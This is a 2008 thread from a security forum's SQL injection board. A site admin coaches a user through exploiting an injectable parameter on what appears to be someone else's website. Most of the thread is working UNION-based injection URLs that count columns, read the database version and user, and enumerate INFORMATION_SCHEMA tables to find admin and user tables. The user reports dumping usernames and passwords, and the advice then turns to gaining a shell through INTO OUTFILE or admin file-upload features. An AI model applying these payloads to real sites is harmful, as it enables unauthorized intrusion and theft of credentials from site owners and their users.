Waraxe IT Security Portal
Login or Register
November 18, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 62
Members: 0
Total: 62
Full disclosure
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> hwo do i go forward ?
Post new topicReply to topic View previous topic :: View next topic
hwo do i go forward ?
PostPosted: Tue Feb 19, 2008 9:45 pm Reply with quote
theface
Active user
Active user
Joined: Dec 24, 2007
Posts: 33




ok i have found a buig in this


http://www.site.com/details.php?id=-1'


Code:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' && publish = '1' ORDER BY id DESC LIMIT 0, 100' at line 1


how do i get to admin are using this ? ?
View user's profile Send private message
PostPosted: Tue Feb 19, 2008 10:06 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Step by step.

First, you don't need single quotes here:

Code:

http://www.site.com/details.php?id=-1+OR


... and you will get error message.

Next:

Code:

http://www.site.com/details.php?id=-1--+


no error message?

Now try this:

Code:

http://www.site.com/details.php?id=-1+UNION+ALL+SELECT+1--+


Got error message? About wrong columns count?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Feb 19, 2008 10:12 pm Reply with quote
theface
Active user
Active user
Joined: Dec 24, 2007
Posts: 33




yeah its going exactly the way you told. but how i get teh admin login ?
View user's profile Send private message
PostPosted: Tue Feb 19, 2008 10:24 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




theface wrote:
yeah its going exactly the way you told. but how i get teh admin login ?


Where is your patience Rolling Eyes

Try this:

Code:

http://www.site.com/details.php?id=-1+UNION+ALL+SELECT+1,2--+


Code:

http://www.site.com/details.php?id=-1+UNION+ALL+SELECT+1,2,3--+


Code:

http://www.site.com/details.php?id=-1+UNION+ALL+SELECT+1,2,3,4,5--+


Now repeat UNION tests with increased columns count. Till you will get no errors or error message will be diferent. In that moment you will get to know needed column count. Post it here.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Feb 19, 2008 10:44 pm Reply with quote
theface
Active user
Active user
Joined: Dec 24, 2007
Posts: 33




Code:
http://www.site.com/details.php?id=-1+UNION+ALL+SELECT+1,2,3,4,5,6--+


i am geting a blank page with
Code:


3 (2)
5
View user's profile Send private message
PostPosted: Tue Feb 19, 2008 11:07 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Next:

Code:

http://www.site.com/details.php?id=-1+UNION+ALL+SELECT+1,2,3,4,@@version,6--+


Code:

http://www.site.com/details.php?id=-1+UNION+ALL+SELECT+1,2,3,4,USER(),6--+


Code:

http://www.site.com/details.php?id=-1+UNION+ALL+SELECT+1,2,3,4,DATABASE(),6--+


Code:

http://www.site.com/details.php?id=-1+UNION+ALL+SELECT+1,2,3,4,COUNT(*),6+FROM+mysql.user--+


Post here mysql version. And let me know, if "Access denied" appears in last test.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Feb 19, 2008 11:13 pm Reply with quote
theface
Active user
Active user
Joined: Dec 24, 2007
Posts: 33




Version 5.0.45

Code:
SELECT command denied to user 's4ngUCMs88'@'*6*****' for table 'user'
View user's profile Send private message
PostPosted: Tue Feb 19, 2008 11:39 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




This is mysql version 5.x, so you can use INFORMATION_SCHEMA database for insider look.

Code:

http://www.site.com/details.php?id=-1+UNION+ALL+SELECT+1,2,3,4,TABLE_NAME,6+FROM+INFORMATION_SCHEMA.TABLES--+


Do you see one table name entry or multiple?

If it's only one entry, then use LIMIT:

Code:

http://www.site.com/details.php?id=-1+UNION+ALL+SELECT+1,2,3,4,COUNT(TABLE_NAME),6+FROM+INFORMATION_SCHEMA.TABLES--+


... will give you count of all table names

Code:

http://www.site.com/details.php?id=-1+UNION+ALL+SELECT+1,2,3,4,TABLE_NAME,6+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+0,1--+


Code:

http://www.site.com/details.php?id=-1+UNION+ALL+SELECT+1,2,3,4,TABLE_NAME,6+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+1,1--+


Code:

http://www.site.com/details.php?id=-1+UNION+ALL+SELECT+1,2,3,4,TABLE_NAME,6+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+20,1--+


Look for interesting table names - user, admin, people, accounts, staff, logins, etc ...
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Feb 19, 2008 11:57 pm Reply with quote
theface
Active user
Active user
Joined: Dec 24, 2007
Posts: 33




ok i have got the tabels and users and its apsses as well

is there anyway i can inject a shell ?
View user's profile Send private message
PostPosted: Wed Feb 20, 2008 10:46 am Reply with quote
theface
Active user
Active user
Joined: Dec 24, 2007
Posts: 33




any help about the Shell injection waraxe?
View user's profile Send private message
PostPosted: Wed Feb 20, 2008 10:56 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




theface wrote:
ok i have got the tabels and users and its apsses as well

is there anyway i can inject a shell ?


Only direct way from Mysql database to file system is INTO OUTFILE. And it works only if currently logged in Mysql user has FILE privileges. Probably you don't have FILE privs. So you must find other methods to get php code execution level access.

Is there admin interface? Did you get admin credentials? Can you log in as admin? Admin interface MAY contain insecure functionality, which can be used for php code injection. Example - template or file editors, file uploads, ...
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Feb 20, 2008 11:02 am Reply with quote
theface
Active user
Active user
Joined: Dec 24, 2007
Posts: 33




i am unable to login to admin as i am unable to find teh login page Sad
View user's profile Send private message
PostPosted: Wed Feb 20, 2008 1:01 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Can't help with this ...
View user's profile Send private message Send e-mail Visit poster's website
hwo do i go forward ?
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.049 Seconds